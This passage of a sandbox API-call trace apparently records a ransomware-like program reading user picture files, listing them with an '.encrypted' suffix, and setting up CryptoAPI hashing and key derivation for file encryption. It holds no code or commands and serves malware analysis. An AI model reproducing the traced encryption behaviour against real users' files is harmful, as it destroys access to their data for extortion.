lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.125] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.125] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.126] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.126] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.126] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.126] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.126] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.126] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.126] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.126] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.126] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.126] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8525) returned 1 [0028.126] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.126] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.126] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.126] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x214d, lpOverlapped=0x0) returned 1 [0028.127] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.127] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x214d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.127] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8525) returned 1 [0028.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\r69N iygd.encrypted.png\r\n", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0028.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\r69N iygd.encrypted.png\r\n", cchWideChar=61, lpMultiByteStr=0xe8f4051b80, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\r69N iygd.encrypted.png\r\n", lpUsedDefaultChar=0x0) returned 61 [0028.127] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051590*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051590*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3c, lpOverlapped=0x0) returned 1 [0028.127] CloseHandle (hObject=0x1fc) returned 1 [0028.128] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.128] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.128] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.128] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.128] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.128] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.129] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.129] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.130] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178940, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.130] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.130] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\6T JEVKXg-.png", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\6T JEVKXg-.png", cchWideChar=60, lpMultiByteStr=0xe8f4051040, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\6T JEVKXg-.png", lpUsedDefaultChar=0x0) returned 60 [0028.130] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\6T JEVKXg-.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\6t jevkxg-.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=60, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 60 [0028.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=60, lpWideCharStr=0xe8f40671f0, cchWideChar=60 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\6T JEVKXg-.png") returned 60 [0028.131] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.131] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.132] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.132] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.132] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.132] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.132] CloseHandle (hObject=0x1fc) returned 1 [0028.132] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.133] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.133] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.133] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.133] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.133] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.133] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.134] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.134] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.134] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.134] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.134] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.134] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.134] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.135] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.135] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.135] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.135] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.135] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.135] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.136] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.136] CryptHashData (hHash=0xe8f4061c30, pbData=0xe8f418bb70, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.136] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.136] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.136] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: 